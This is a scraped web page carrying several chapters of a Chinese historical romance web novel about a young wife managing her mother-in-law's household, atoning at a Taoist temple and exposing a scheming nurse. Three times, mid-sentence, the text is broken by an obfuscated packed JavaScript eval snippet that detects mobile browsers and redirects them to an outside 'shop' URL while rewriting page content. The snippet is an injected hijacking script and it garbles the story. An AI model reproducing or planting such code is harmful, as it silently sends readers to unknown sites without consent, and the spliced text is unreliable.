沈卿婉在孟母房内，正侍候着她用晚膳。 最后一口莲子羹温吞入喉，孟母放下描金瓷碗，她适时地递过帕子，孟母接过帕子，随口和身边的常嬷嬷道：“这几日怎不见绾儿？ “给她请了教习嬷嬷，她反倒越发懒怠了，不按规矩来请安就算了，连过来陪我坐半盏茶的功夫都没有。” 常嬷嬷便打发女使去孟绾院里问。 片刻后，女使回来回话：“回老夫人，绾姐儿院里的人说，绾姐儿这几日身上起了疹子，怕过来看您过了病气，便没敢来，也害怕您担心，所以没跟您说。” “疹子？”孟母闻言，一骨碌站起来，急道：“怎么好端端的起了疹子？快，我这就过去看看！” 常嬷嬷连忙上前扶住老夫人：“绾姐去岁也发了一次疹，说是换了水土，想必是最近连日的雨，导致病情复发，您这时候过去，万一过了病气，反倒不妥。 “我一会就去请之前的大夫，您且宽心。” 听了这番话，孟母这才稍稍安定下来，眉头却依旧拧着。明日就是端午，她哪还有心思打理杂事？ 她的目光落在沈卿婉身上，招手将她唤了过去，交代了一些节下事宜。 不消多时，沈卿婉与常嬷嬷一同出了瑞和堂，她道：“不知嬷嬷去的地方远不远？我叫人去备马车。” 常嬷嬷只说几步路，不劳娘子费心。 沈卿婉又关切地问孟绾的情况。 “风疹倒算不得什么厉害的病，就是女孩子家，最怕留疤……” 又说几句无关紧要的话，二人各自去了。 沈卿婉打发人唤府里管事的嬷嬷们来敞厅，她到的时候，众人纷纷起身见礼。 这还是她头一次主持中馈，难免有些紧张，手心不自觉地冒着汗，不过几步路，她却觉得走得很漫长。 她的生母陶氏，不会管家，也无法教她如何做一个合格的当家主母。而贾氏，可能忘了偏角旮旯里还有她这么一个人，也不曾教养过她。 她觉得自己像是一位胸无点墨的书生误入考场。 她缓缓坐在主位，回想着当日贾氏的做派，照样说道：“今日请各位来，是奉老夫人之命，打理端午的各项事宜。” 谁家管节礼，谁家管器皿……一桩桩分派下去。 末了只剩下打平安醮一事，此事马虎不得。一是老夫人素来信这些，前几日那清虚观还打发了人来专门问了。 孟母也一再许诺会派人去打理，沈卿婉在一旁听得真切。 二来，孟绾染了风疹，孟玦即将外出巡察，这平安醮需得做好，方能叫老夫人心安。 沈卿婉将此事交由李婆子，她是个心细老实的人。 李婆子连忙应下。 刘婆子听到这，脸色沉了下来。往年打醮的差事都是她管着，仗着是玦哥儿的乳母，也无人敢与她抢这活。 这里面的门道她最清楚，今个新进门的娘子突然换了她的活，她哪里肯？当即闹了起来，“娘子，往年都是我负责打醮的事，这么多年，不说没有功劳，也有苦劳。 “这会突然换了人，让别人还以为我办事不周到。” 沈卿婉愣了一下，她确实没想到这活计还有固定谁的说法。她想了一想，温和道：“那清虚观在城郊，来回路途远，又事务繁杂，刘嬷嬷年纪大了，怕您操劳不住……” 话犹未了，便被刘婆子急哄哄地打断：“娘子这话是什么意思？我喂养着哥儿长大，又打理府中的花圃，这些事都做了过来，怎地到了这打醮的事，就操劳不住了？” 她这一番僭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17024534|194328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越犯上的反问，叫房内众人都将视线齐刷刷地落在沈卿婉的身上，要看她如何处置。 这是她第一次管家，若是镇不住刘婆子的气焰，以后再难成事。 她定了一定神，平和地说道：“既然老夫人将管家之权交由我，那一切调派便由我决定。”，她的声音温温柔柔的，只是说话间带了不容置喙的坚定。 那刘婆子任她平日作威作福，不过是个纸捏的老虎，也不敢当面真与沈卿婉这个做主人的撕扯起来，只能恨着牙，不甘心地咽下这口气。 众人领命离去，刘婆子走在最后，眼神阴鸷地瞥了沈卿婉一眼，心里盘算着要叫她好看。 ***** 转天一早。 沈卿婉和含香收拾起孟玦的衣裳。樟木衣柜中，孟玦的各季衣服不过六件，多是半旧的。 一眼望去，只有两三件是今年新做的。 虽说这两天天空放晴，但保不准后面是什么样，乡下天气冷，所以她挑了两件直裰，两件长袍。 她传人将收拾好的衣服送去书房，转头对含香道：“我记得陪嫁的时候有一鸦青色的绸缎，你去取来，我给郎君做件新的外衫。” 含香一边往放置箱笼的地方去，一边嘟囔道：“娘子，你心里就只记着别人，倒不想着自己。归宁那日陶小娘给了两匹不错的料子，一匹石榴红，一匹海棠色，多鲜亮啊！ “不如趁着这功夫一并做了，也给你添件新衣裳。” 沈卿婉只是笑了笑，没有接话。 含香去到耳房，站在箱笼前，犯了难。 那沈家虽待沈卿婉刻薄，但念在孟玦的面子上，还是凑了十抬嫁妆，之前拾掇了六个箱子，拿去库房，还剩下四个。 那鸦青色的料子放哪，含香一时想不起来。 只得一个个开了箱子寻，最后一个箱笼最上面叠着的便是陶氏送来的两块料子，绣着暗纹，含香抱起料子，“咦”了一声。 她掂了掂布料，怎么这般重？像是卷了一块石头。她摊开布料，露出里面一个小包裹，打开一看，里面竟是几只成色极好的玉簪、一对金镯子，还有几锭沉甸甸的银子。 含香瞧出那首饰都是陶氏的，她大约猜出这物件的来由，定是陶小娘担心娘子，便将值钱的物件都送了过来。 但若是娘子知晓了，定然是不肯收的，所以陶小娘才偷偷放入布匹中。 那要不要告诉娘子？她心里一时没了主意。 沈卿婉在卧房等了许久，才见含香磨磨蹭蹭抱着布匹出来，眼神飘忽，明显有了心事，她问道：“怎么了？怎么磨蹭了这么长时间。” 含香不敢看她的眼睛，转开视线，胡乱混说着：“瞧见好看的布料，也想着给自己做件新衣裳了。” 沈卿婉笑道：“你看上了那匹，一道拿出来。” 含香愣了一下，连忙摆手说不用，怕沈卿婉当真，赶忙岔开话，与她说起给孟玦做什么款式的衣裳。 “做件窄袖袍如何？” 正说着，门外忽然传来一阵急促的脚步声，伴着女使大声的呼喊：“娘子！娘子！不好了！” 来人是沈卿婉房中的人，名唤红袖，她道：“老夫人打发人来唤娘子即刻过去，说是老夫人那边发了好大一通脾气！” 10. 有了媳妇忘了娘 沈卿婉方至瑞和堂院门，便与一位道姑不期而遇。那道姑打了个稽首，她也还了礼，略一打量，目光转向正屋帘栊，心下已猜着七八分：婆母动怒，多半为着打醮之事。 掀帘进去，只见孟母歪在墨绿锦缎引枕上，一手揉着额角，面沉似水，竟比案上那盏冷透的茶汤还要晦暗几分。 她不及行礼问安，孟母的诘问已劈面而来：“这般小事也周全不了，往后我还怎敢将家事托付于你？更莫指望你为玦儿分忧了！” 沈卿婉垂眸敛衽，轻声道：“母亲息怒，不知儿媳何处疏失，惹您烦心？” 孟母倏地抬眼：“家中近来连生事端，绾儿染恙，玦儿不日远行。端午祈福本是紧要事，交与你办，你竟浑忘了！莫非存心要家宅不宁？”她胸口起伏，声气愈厉：“若非吴道姑亲来询问供品香资为何未至，我竟不知你如此搪塞我这老婆子！” 沈卿婉凝神听着，心下也是一怔。万没想到素日稳妥的李嬷嬷，偏在这桩事上出了纰漏，且未曾回禀。此时若推诿于下人，反显己身无担当。她只默默领了不是，任由婆母数落。 含香在旁听得气闷，待要分辩，手腕却被沈卿婉轻轻握住，递来一个阻止的眼神。 待孟母话音稍歇，沈卿婉方缓声道：“母亲教训的是，终是儿媳思虑不周，未能亲力督办。但求母亲容儿媳弥补疏失，必为家中求得平安顺遂。” 孟母余怒未消，摆摆手道：“罢了，且去罢。” 出了院门，含香急急跟上，蹙眉道：“娘子分明代人受过，为何不辩？” 沈卿婉面色静如秋水：“此时争是非、论短长，于事无补。母亲既托付于我，纵有万般曲折，终是我之过。眼下最要紧的是弥补，而非纠结谁的过错。” “那娘子打算如何？” 沈卿婉沉吟片刻，再抬头时，眸色清亮，已然是有了主意：“事不宜迟，我们即刻动身去城郊的清虚观。” 车马碾过青石板路，一路驶向城外。 清虚观隐于苍翠山林间，朱红山门斑驳古朴，门前几株古柏苍劲挺拔，香火缭绕中透着几分清幽肃穆。 沈卿婉下车后，门口有小道姑引她们进观，里面列着三条甬道川纹，四方都砌水痕白石。正殿之重，三清圣祖庄严宝相列中央，太上老君背倚青牛局后殿【1】。 过了二重殿后，再转两重侧门，便是吴道姑的道院。 沈卿婉婉转说明来意，命含香奉上香资，红袖呈过三牲福礼并香烛纸马。吴道姑悄悄掂了掂荷包，分量颇沉，比约定之数只多不少，脸上便漾出笑意，说了好些吉祥话儿。 又听沈卿婉道：“信女愿在祖师座前跪经一宿，以表虔心。” 吴道姑吃了一惊，瞧着这位孟家娘子，好心规劝了一句，却见她神色坚定，便也不多言了，任由她去了，又自去打点供礼停当。 含香陪着沈卿婉步入正殿，心下忧忡：虽值夏令，山间夜深露重，娘子身子单薄，如何禁得？可她也知娘子外柔内刚，一旦拿定主意，任谁也转圜不来。 但她还是开口劝道：“娘子既亲来打点，又添了香资，三跪九叩足显诚心，何苦整夜煎熬？” 沈卿婉摇首：“若仅为补过，确不必如此。然我另有所祈，唯竭诚尽敬，或可感通上真。”言罢净手，取过观中线香亲手燃上，敛衣跪于蒲团，脊背笔直，目色湛然。 她闭目凝神，默默祷告，一愿母亲康健，二愿夫君顺遂，三愿万事顺遂。 殿内香烟袅袅，不断向上翻腾如溶溶白云围在神像周围，更显神秘肃穆，只是不知用的什么线香，闻得久了，便觉呛人。 沈卿婉轻轻皱了皱眉，唤含香过来，命她将亲手制的线香分别送给吴道姑和监院。 日暮西斜，云从橘红变成绛紫，最后晕成淡墨，正殿里的神像半边隐入昏昏暗暗中，道姑点燃架子上一排排暗红色蜡烛。 烛焰在穿堂风中明明灭灭，融下的蜡泪似软绸滑落，遇冷风一激，顷刻凝作冷脂。门扇被风推得哐当作响，唯跪在殿中那人神色寂然，眉目虔诚，浑然不似在尘寰中。 这份诚心和韧劲，连殿中值守的道姑都暗自感慨。 熬到东方既白，含香搀她起身时，沈卿婉膝下一软，双足竟似不是自己的了。倚着含香歇了好一会儿，方能挪步。 吴道姑送至山门，一面盛赞其心至诚，一面笑问：“娘子昨日所赠之香实非凡品，连监院师父那般寡言之人，试用后也赞叹不绝。 “看似与寻常线香无二，细品却清润怡人，久闻不腻。不知何处请得？敝观也想用这香来供给香客。” 沈卿婉莞尔：“乃是信女亲手所制。因耽误家事，心实不安，故特制此香，略表歉意。”语罢拢了拢披风，似觉晨寒侵衣。 她轻叹道：“此番醮事，本托付给一位妥当嬷嬷，不想独独这回失了手。若非如此，也不敢叨扰道姑清修。若道姑不弃，下回再来，信女当多备些奉上。” 吴道姑会意，召来一位小道姑，嘱咐几句，令其随沈卿婉同返孟府。 却说前夜孟玦回府，已近子时。路过清轩院，见窗棂漆黑，只当她听了劝告早歇，便径往书房安歇。次日晨起用膳，方知妻子竟一夜未归。问明原委后，面色一沉：“备车。” 刚至府门，恰见青帷小车缓缓驶来。沈卿婉扶着含香的手下车，面色微苍，步履虚浮。余光瞥见石阶上一角豆绿官袍，拾目望去，竟是孟玦立于门前。 她怔怔站在原地，心下千回百转：他怎会在此？这时辰早该上衙去了……莫非听闻昨日之事，特要训诫？思及此，胸中一阵窒闷，唇抿得紧了，默然不语。 孟玦待她走近，声音比平日低了几分：“母亲要为这点小事罚你，你为何不与我说？山间夜寒露重，你身子单弱，又未添厚衣，如何禁受？” 沈卿婉吃惊地朝他望望，听出他语气虽冷，可话语中却是关心的意思，心里蓦地一软，解释道：“并非是母亲罚我，是我自己没将母亲交代的事办妥，心有歉意，才去道观弥补。” 孟玦站定在那台阶上，自上而下打量着自己的妻子。她的眼睑下带着淡淡的乌青，脸上带着浓浓的疲意，有些气力不支地歪在女使身上。 他深知母亲性情，若非她顺遂其意，往后麻烦只多不少。纵非明令，也是为平息母亲怒气才去的。 “你先回屋歇着，余事不必理会，母亲那边我自去分说。” 话音刚落，绿松牵来马车来到府前，沈卿婉立马了然，想是孟玦知晓了原委，以为孟母罚她，这才告了假，准备去清虚观找她。 她回过头刚好与孟玦眼神对上，她头一次没有躲闪，心里一动，仔细端详着他的神情。 孟玦的眼神依旧是淡漠的，像是腊月结了冰的湖泊，可她觉得仿佛轻轻一碰，就会发现不过只是一层薄如蝉衣的冰层，那冰层下面藏着一潭春水，是暖的。 绿松刚到的时候，就见孟玦转身往府里去，留下大娘子一个人站在外面。他挠了挠头，替孟玦说话：“娘子您别看郎君面冷，他今早知道你去清虚观，一夜未归，可担心您了。 “这不，还叫小人立马牵了马车准备去接您。” 沈卿婉笑着轻声道：“我知道。” 她原就知道孟玦本身就是一个很好的人，无关他爱不爱自己。 孟玦这边一径行到瑞和堂，在窗外听见一陌生女子声音，他唤人询问，方知是清虚观的一个道姑。 他默不作声地在窗外听着。 那道姑将沈卿婉在观中如何如何诚心的祈福、如何如何慷慨的捐赠银两，以及监寺和吴道姑对她的称赞一一细说。 末了又道：“沈娘子这一片赤诚，跪拜一整晚未曾懈怠，叔祖说，如此虔心之人，所祈必遂。” 孟母虽来颍州不过一年，却也听说过清虚观监寺的名气。如今听闻她竟特意夸赞沈卿婉，又知晓沈卿婉将祈福之事办得如此妥帖，既挽回了颜面，又为家中求了平安，心中对她的不满也消了大半，只觉面上甚是有光。 待道姑辞去，孟玦方掀帘入内。 孟老夫人见他也是一愣，平日这个时辰哪见得到他，不过这会心情大好，见他进来，便笑道：“怎么今日没去上值？” “儿子今天告了半日的假，想先处理家事。” 孟老夫人见他面色凝重，还以为他同自己一道不满沈卿婉做事轻浮。念着她补救有功，孟母缓缓道：“虽说她辜负了我的期待，不过后面这次办得事倒是妥当，你也不必专程为了此事过来。” 孟玦道：“儿子向来是不信鬼神之说。” 他目光平静地与孟夫人对视：“儿子知道母亲不喜她。然自她过门，谨守本分，事事周全。此番醮事，原是下人疏忽，她虽有失察之过，亦不至受此磋磨。” 孟老夫人沉默了许久，眼眶不自觉地红了，声音也带着几分哽咽：“我的儿，自从你当了这转运使，一天忙的连轴转，当娘的一天见不到你的面。 “只有你妹妹陪在身边，如今你娶了媳妇，难得见一面，就和娘说这些？当真是有了媳妇忘了娘？” 孟玦轻轻叹了一声：“母亲与绾儿是儿子至亲，若受人苛待，儿子拼却这项戴也要维护。然沈氏既入我门，便是家人，亦是母亲家人。她无大过，母亲这般待她，传扬出去，于母亲声名亦有碍。” 孟老夫人隔了一会道：“你倒是疼她。罢了，往后我便松些分寸便是，只要她能好好持家，我自然不会苛待她。” “如此，家宅安宁，方能福气自至。” 孟玦又和孟老夫人叙了些家尝，陪着她在瑞和堂多坐了一会。 *** 清轩院内，沈卿婉斜倚美人靠，含香替她轻轻卷起裙裾，露出双膝——雪肤上赫然印着碗口大的青紫淤痕。含香倒抽一口凉气。 沈卿婉伸手虚掩，不甚在意：“这也值得大惊小怪？昔年在沈家罚跪祠堂，哪回不是这般？” 含香扭头拭泪：“从前在沈家受委屈，如今出了阁，还要受委屈。咱们娘子何时能得几日舒心？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17024535|194328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沈卿婉捧起她的脸，柔声道：“好日子这不是来了？婆母免了我半月晨省，往后亦不必立规矩。日子总是一日日好起来的。” 含香嗔道：“娘子竟还笑得出来！” 说话间，前去打探原委的红袖进来回话，原是那刘嬷嬷在端午前一晚，召了几个嬷嬷，一起吃酒耍乐，那李嬷嬷本不愿一起。 可奈何不过刘嬷嬷，她仗着自己是主君的乳母，说不去就是不给面子。待去了，就一个劲地给李嬷嬷灌酒，最后醉得人事不省，这才将事情耽搁了。 含香在一旁听得火大：“好个刘嬷嬷！分明是故意的！娘子，这两人一个误事一个挑唆，不如一起罚了，也好杀杀她们的气焰！” 沈卿婉却摇了摇头：“若单以吃酒论处，她不过落个‘不识轻重’的名儿，伤不得根本。” “那娘子打算如何？”含香问道。 沈卿婉招呼她近身，附耳说了一番话。 含香听完后，眼睛一亮，赞道：“这法子倒是好，娘子可真是聪慧。” 她笑而不语，从前在沈家，后宅的事也是只多不少，那贾氏和柳氏斗法，她作为旁观者，着实看了不少，没想到今日还能用上。 这边刘嬷嬷正春风得意，一边嗑着瓜子，一边扭着腰，昂着脑袋，大摇大摆地走着。现在沈宅里谁不知道那沈氏得罪了老夫人，被罚去清虚观。 该！活该！刘嬷嬷吐了一口瓜子皮，叫她和自己作对，又想到她谴人送来赏金，愈发得意，这哪是犒劳她，分明是认输了。 瞧瞧，这新来的娘子不过纸老虎一只，以后还不是任她拿捏。 走了一程，遇见了垂头丧脸的李嬷嬷，她当做没看见，径直绕过她去，忽觉胳膊一重，回头看时，是李嬷嬷将她拉住。 原来李嬷嬷女儿病重，急需银钱。本指望办好醮事得些赏银救急，却被刘嬷嬷灌酒误事，非但赏银无着，更恐被责罚发卖。闻得刘嬷嬷得了厚赏，便想央她暂借些许。 “你自己贪杯，与我何关？”刘嬷嬷提声道，又一把甩开对方的手，放快步子走了。 李嬷嬷只得垂头丧气往回走，走了没几步，遇到了含香，“平日整个府里，就属你李嬷嬷办事小心周到，怎的这次不靠谱，还害的娘子在那道观跪了一整晚。” 李嬷嬷愧不敢言。 含香叹了口气，递过去几两银子，声音放缓了几分：“知道你家有难处，我这几两银子，先借你度度急。” 李嬷嬷连声谢过。 “原本娘子给你派得可是好差事，那刘嬷嬷想要，娘子都没给。不若办成了，这赏金哪里会少？也是奇怪，那刘嬷嬷怎地就那天非要请你喝酒……”，她话音一顿，猛省道：“莫非她是故意的——” 含香这么一引导，那李嬷嬷心里生了无数个念头。 待含香走后，她双眼含怒，恨声道：“刘婆子，你不叫我好过，你也别想好活！”，当即转身，气势汹汹地朝着刘嬷嬷的住处冲去。 彼时刘嬷嬷正得意地向旁人炫耀自己得了沈氏的赏赐，见李嬷嬷怒气冲冲地闯进来，脸上的笑意顿时僵住。 “刘嬷嬷！你故意灌醉我，害我误事受罚，你安的什么心！”李嬷嬷指着她的鼻子怒斥道。 刘嬷嬷素来嚣张惯了，哪里肯示弱，双手叉腰道：“是你自己酒量不济，反倒怪我？我肯请你喝酒是给你面子，你自己蠢，将事情耽误，怎么能寻别人的错处？” 刘嬷嬷脸上的笑像是蜜蜂尾巴上的刺，格外扎人。 李嬷嬷气得浑身发抖，也顾不上体面了，大声嚷道：“你少在这里装模作样！你往日里贪污府中用度，中饱私囊，谁不知道？ “不过是大家睁一只眼闭一只眼罢了！你以为你那些龌龊事能瞒多久！” 这话一出，刘嬷嬷又惊又怒，冲过去捂着李嬷嬷的嘴，对方哪肯，两人扭作一团，互相揭短，闹得不可开交，动静很快传到了清轩院。 沈卿婉带人赶到时，两个人披头散发，像是斗牛一般钳着对方手臂，谁也不肯松开。李嬷嬷见人来了，大声嚷着：“娘子！请娘子彻查这些年的账簿，为孟宅除去蠹虫。” 刘嬷嬷急了，猛地一抽胳膊，甩了一个巴掌过去，将李嬷嬷打得天旋地转，跌在地上。 沈卿婉厉声呵斥，打发人先将李嬷嬷扶起来，又对刘嬷嬷道：“嬷嬷是孟家的老人，我自是相信嬷嬷不会是贪墨之人。只是如今事情闹开，只要一查，便能还嬷嬷一个清白。” 刘嬷嬷心中有鬼，自是不愿他人查账，她大叫一声“不行！”，可又寻不出个理由来，急得直冒汗，眼见沈卿婉就要离开，她手比脑子快，就冲着沈卿婉扑了过去。 电光火石之间，沈卿婉根本来不及躲避，她下意识地闭上眼，预想中的疼痛却并未到来，她先听到周围的惊呼。 继而，一缕淡淡的血气渗入鼻息。 她缓缓睁眼。 一道挺拔如松的身影挡在身前。目光上移，男子修长的颈侧，正泅出几道刺目的血痕。 11. 疏离夫妻同榻眠 内室窗棂半掩，疏影斜横。 大夫持着麻布，正细细为孟玦在脖颈处包扎，那片抓伤足有三寸来长，最深的那道皮肉翻卷着，不断渗出血珠。 沈卿婉侍立一旁，双眸凝注伤处，十指暗暗交绞，心下惶惶不定。惟恐扰了大夫敷药，强自屏息，未敢轻言。 见大夫缠完绷带，立时开口：“大夫，这伤不要紧吧？会不会留疤？平常饮食，可有什么该忌口的？……” 她一连问了好几句，声音里带着难掩的急切。 大夫收拾着药箱，抬眼瞧了瞧神情紧张的沈卿婉，又瞥了眼神色淡然的孟玦，笑道：“沈娘子不必如此忧心。 “不过是些皮外伤罢了，饮食上无需太过忌讳，清淡些便好。按时换药，莫沾生水，我再开两副汤药服下，几天便能痊愈，更不会留什么疤痕。” 言毕，负箱辞出。 沈卿婉仍是不放心，欲追询再三，提膝起身，忽觉衣摆一重，她回过头，见是孟玦伸手拉住了她。 她不明所以地看着他。 “不过一点小伤，几天就好了，不必再寻大夫了。”，他语气带着几分无奈，似是对她的小题大做感到好笑。 沈卿婉顿了一下，坐下身来。 室中唯余二人，沈卿婉的目光难以遏制地不去看那伤口，只觉心里一牵一牵的疼，都怪自己——自己只是不想不明不白担了罪名。 没成想最后竟惹出这样的后果，若是她知道会伤害孟玦，她宁愿自己担了那个办事不周的名声，也不愿孟玦受伤。 一个心事重重，一个闭眼将息，屋子静悄悄的—— 沈卿婉捻着衣裳下摆，折折卷卷，欲言又止。 其实她还有许多想问他的。 他怎么会出现在那的，为何会替她挡下伤害？还有……他如今受了伤，需要人照顾，可要留在她的房中？ 种种思绪萦怀，难宣于口。 许是她这番纠结的神色太过明显，她听见孟玦问：“夫人是有什么话想对我说？” 沈卿婉怔愣了一下，顺着他的口气问过去：“郎君不是在瑞和堂陪着婆母吗？怎么突然出现在倒座房那里？” “在母亲那坐了一会，母亲感觉困乏，我便退了出来。路上遇见红袖，言及刘嬷嬷之事，我便赶了过去。” 沈卿婉点了点头，红袖确实是个机灵的，这次也多亏了她。 “那……”沈卿婉又问道，“那郎君为何要替我挡下伤害。” 孟玦掉过头去看她，似是奇怪她怎会问出这样的问题：“你我是夫妻，你要罹难，我自是不能袖手旁观。” 沈卿婉会意，脸上出现淡淡的怅然，他只是尽到一个做丈夫的义务，帮她也只是因为她担着“妻子”这个头衔，与她这个人毫无关系。 她抚了抚额角，将那抹不适的情绪隐去。她起身，走到外间，将大夫开的药单递到含香手中，叮嘱了一番。 含香接过药单。 她往日里对孟玦总带着几分因主子受委屈而生的微词，此刻却只剩感激。若不是主君挡在娘子身前……娘子的脸争些儿就毁了。 她后知后觉地心里发着憷，当下也不多言，躬身应了声“是”，转身去了。 沈卿婉回身整理大夫所遗膏药麻布，动作略显无措。伤处尚须换药二次，她却素无经验…… 正想着，身后传来男人的声音：“这些琐事不必劳烦夫人，我自己来便是。” 沈卿婉垂着眉：“官人既是为我而受伤，我理应照顾。再者，官人的书房偏居西北角，四周种满竹林，平日里虽安静，却少有人至，潮气重，也不见太阳，通风更是不佳。 “这伤口最忌潮湿闷热，留在这儿才好得快些。”她声音轻柔，带着几分不易察觉的挽留。 孟玦正欲开口说些什么，门外忽然传来脚步声，伴随着孟老夫人略带急切的声音：“我的儿！听说你受了伤，怎么样了？严不严重？” 话音刚落，孟老夫人已推门而入，一眼便落在孟玦脖颈上的麻布，脸上满是心疼。“怎么伤在这个地方了？再往上一点，就差点抓到脸了！” “不过是些皮肉伤，不碍事的。”孟玦坐直身子，语气恭敬，“让母亲挂心，是儿子的不是。” “还说不碍事！”孟老夫人嗔了他一眼，“方才我进门时，隐约听见你们说住不住这儿的事？ “这院子坐南朝北，日晒充足，通风也好，利于养伤。” 说到这，她瞥了沈卿婉一眼，“若是因为旁的不方便，那便让媳妇搬到我那边住几日，你在这儿安心养伤。” 孟玦闻言，眉头微蹙，此话说得实属不妥。 他目光落在一旁的沈卿婉，身姿窈窕，垂着眸，长长的睫毛在眼睑下投下一片浅浅的阴影，脸上没有丝毫多余的神色，温顺得不像话，仿佛无论他们做什么决定，她都不会有异议。 他想起之前母亲因他搬去书房睡，将闷火全撒到她身上，她也未曾对自己抱怨一句。 “既然这儿利于养伤，那我便在这儿住下便是。” 沈卿婉就准备待孟老夫人走后，收拾东西去瑞和堂暂住。听了孟玦的话，很是出乎她的意料，她脑袋一白，不知该作何反应。 直到老夫人出门去，她才反应过来，跟了出去。 出了院门，孟老夫人道：“不必远送，我未至耄耋，步履尚健。”，她朝着正屋抬了抬下巴，“琢磨琢磨，怎么抓住夫君的心，这才是你的正事。” 沈卿婉脸腾地一红，一句话也挣不出，站定在原地，目送孟老夫人离去。 她在屋门外站了好一会，用手背贴在面颊，感觉热意散去，才款款转过身。 身后的廊道有一人正往这边走，她定睛一瞧，是红袖。 在刘嬷嬷伤了孟玦后，她当即打发人将刘嬷嬷和李嬷嬷二人捆了关在柴房，又命红袖亲自看着，此刻红袖过来问如何处置。 沈卿婉沉吟了一会，喃喃道：“那李嬷嬷好打发，只是……刘嬷嬷毕竟是官人的乳母……” 遂令红袖稍候，自入内与孟玦商议。 少顷，她出来与红袖道：“找个人牙子，把李妈妈发卖出去，至于刘妈妈，找个套车的，过两日把她送回京郊庄子去。” 红袖应喏去了。 *** 自孟玦决定落榻于清轩院，绿松很是勤快地搬来了被褥，又去书房拿了几册他点名要的书册。 在这空档间，沈卿婉想与孟玦说说话，可几番开口，却又不知说些什么，她平日会的无非是些制香，刺绣……这些女孩子家惯会的事情。 而孟玦是新科状元，肚子装的是四书五经，聊得是锦绣文章，而她只识得几个大字。 她垂着眸，心里涌上一股酸涩，只好把这心淡了。 过了片刻，含香端着一碗黑漆漆的汤药进来，热气袅袅，沈卿婉接过，亲自试过温，不烫嘴，只是有点苦。 她递到孟玦跟前，他下意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17024536|194328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识地皱起眉，别过头，澹然神色顿生几分拒意：“这药我一会再喝，你先放在茶案上，” 这话她听着耳熟。 沈卿婉的母亲陶氏，就惯常说这话。沈卿婉深知一旦放下，后面一个不注意，这药就不知道该喂给屋内的哪一株绿植。 沈卿婉眼珠一转，忍笑道：“莫不是夫君怕苦？” 孟玦没有应声。 沈卿婉装作大吃一惊的样子，捂着嘴道：“夫君真的怕苦？我还以为……” 这一招确实有用，还没等她话说完，孟玦就将药碗夺去，似是要证明他根本不怕苦，只是那紧蹙的眉毛，还是出卖了他。 孟玦闭着眼，一饮而尽，整张脸紧紧绷着，半天未能言语。 沈卿婉观其情状，莫名莞尔，怎如孩童一般？ 她拿出早已备好的蜜饯，捻了一颗，抵在他唇边，“把这吃了就不苦了。”，脱口而出后，方觉不妥。 孟玦却浑然不觉，凑了上去，从她指尖卷走了那颗裹着糖霜的山楂。 那陌生的触感叫她心头一颤，一点红从耳边起，不消多时，半张脸变得通红，她不好叫孟玦瞧见，掉过脸，吩咐含香将药碗收拾了，自去外间静坐须臾。 *** 晚膳过后，夜色渐浓，檐外的竹影被月光拉得颀长，透过窗棂映在屋内，添了几分静谧。 孟玦坐在里间的书椅上，手执一卷，目注纸页，神情专注。 外间的沈卿婉坐在临窗的绣架前，指尖拈着绣花针，只是她绣了没几针，便停下动作，抬眸望向里间的方向，目光悄悄落在孟玦身上，又飞快地收回。 这还是他们成婚以来，第一次这般同处一室，虽各自做着自己的事，但无旁人打扰，只有烛火噼啪的轻响，和偶尔传来的翻书声。 这般宁静又亲密的氛围，让沈卿婉心中涌上一股难以言明的满足感。 不知过了多久，含香轻手轻脚地打起帘子进来，走到她身边，压低声音道：“娘子，夜已经深了，该歇息了。” 沈卿婉“嗯”了一声，下意识地又望了望里间，见孟玦不知何时已经撂下书，在床榻上歇息了。 含香替她卸下头上的发簪步摇，将乌黑的长发散开，触及到她僵硬的肩背，忍不住打趣道：“娘子，您怎么这般紧张？往日里不就盼着郎君能留下来吗？” “胡说什么！”沈卿婉脸颊一红，伸手轻轻拧了她一把，声音压得极低，“快别多嘴。” 含香忍着笑，吹熄了外间的烛火，退了出去，顺手掩上了房门。 屋内只剩里间一盏烛火还亮着，琥珀色的烛光柔柔地铺了一屋子，她踩着那光，一步一步往床榻去，那光照得她头晕目眩。 沈卿婉深吸一口气，定了定神，拿小剪子剪断了烛光，室内一下子暗了下来。 她掀开被子的一角，轻轻躺在孟玦身侧，她睁眼望着黑漆漆的床顶，心跳却如擂鼓般急促，双臂僵硬地垂在两边。 她闭着眼，却毫无睡意，隔了好些时候，心跳平缓下来，她听见身旁人均匀的呼吸声。她悄悄转过头，借着微弱的月光，望向身边人。 昏暗中，那隐隐的眉与眼，像是月亮里的黑影【1】。他的睡姿十分规整，双手交叠放在被子外面，身姿平直，透着几分难得的可爱。 沈卿婉看着看着，忍不住弯了弯唇角，一声极轻的笑意溢出唇角。她连忙抬手掩住嘴，生怕惊扰了他。不料再度望去时，却直直迎上一双炯然明眸。 12. 慕雅女得解语花 